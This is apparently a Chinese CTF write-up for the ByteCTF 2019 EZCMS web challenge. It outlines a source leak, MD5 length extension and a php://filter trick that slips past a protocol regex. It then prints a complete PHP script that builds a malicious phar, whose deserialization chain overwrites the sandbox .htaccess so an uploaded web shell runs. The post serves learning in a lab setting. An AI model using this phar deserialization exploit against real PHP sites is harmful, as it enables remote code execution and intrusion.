刷题记录:[ByteCTF 2019]EZCMS
2024-09-05 14:05:51
刷题记录:[ByteCTF 2019]EZCMS
题目复现链接:https://buuoj.cn/challenges
参考链接:ByteCTF_2019&XNUCA_2019部分web题复现
一、知识点
1、源码泄露
访问www.zip获取源码
2、MD5长度扩展攻击
之前涉及过了
3、php://filter
绕过正则实现phar反序列化
就算知道是这个思路,自己也做不出来。。。
这里上传shell没有问题,阻碍是.htaccess被乱写导致解析不了,所以我们的目的是重写或者干脆删除.htaccess
首先要知道源码中preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)
的过滤是可以绕过的,最后访问phar://
时可以访问php://filter/resource=phar://
最后的phar脚本如下
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin = new ZipArchive();
$this->username = "/var/www/html/sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess";
$this->password = ZipArchive::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
$a = new File('Lethe','Lethe');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
最新文章
- Web端权限管理新增实用功能:批量增加操作,简单方便快速!
- Java的对象初始化过程
- PCL 库安装
- ubuntu搭建pyqt5开发环境
- SQL Server - select语句练习
- 笔试测试开发题三道(python)
- 使用div创建选取框
- phpcms v9模版调用代码大全(全面而实用)
- 常用公共的css的样式
- ASIFormDataRequest实现post的代码示例
- Unity3d之Socket UDP协议
- [Swust OJ 603]--吃饺子大王
- SSIS从理论到实战,再到应用
- Android中支持的距离单位
- (数字IC)低功耗设计入门(二)——功耗的分析
- 图解CSS3-flex布局
- Python开发——9.面向对象编程
- STL概论
- SQL优化:
- C# 版本和.NET 版本以及VS版本的对应关系
热门文章
- ES6 新增基本数据类型Symbol
- 英语DIAMAUND钻石指坚硬不可侵犯的物质
- 无法将“ng”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。 通用解决方案
- AXURE RP EXTENSION For Chrome----解决办法
- CentOS7.6编译安装redis5.0
- Linux shell脚本基础学习详细介绍(完整版)一
- 分析第一个Android程序
- LeetCode 1000. Minimum Cost to Merge Stones
- S1_搭建分布式OpenStack集群_03 Mysql、MQ、Memcached、ETCD安装配置
- 如何用okr做好目标规划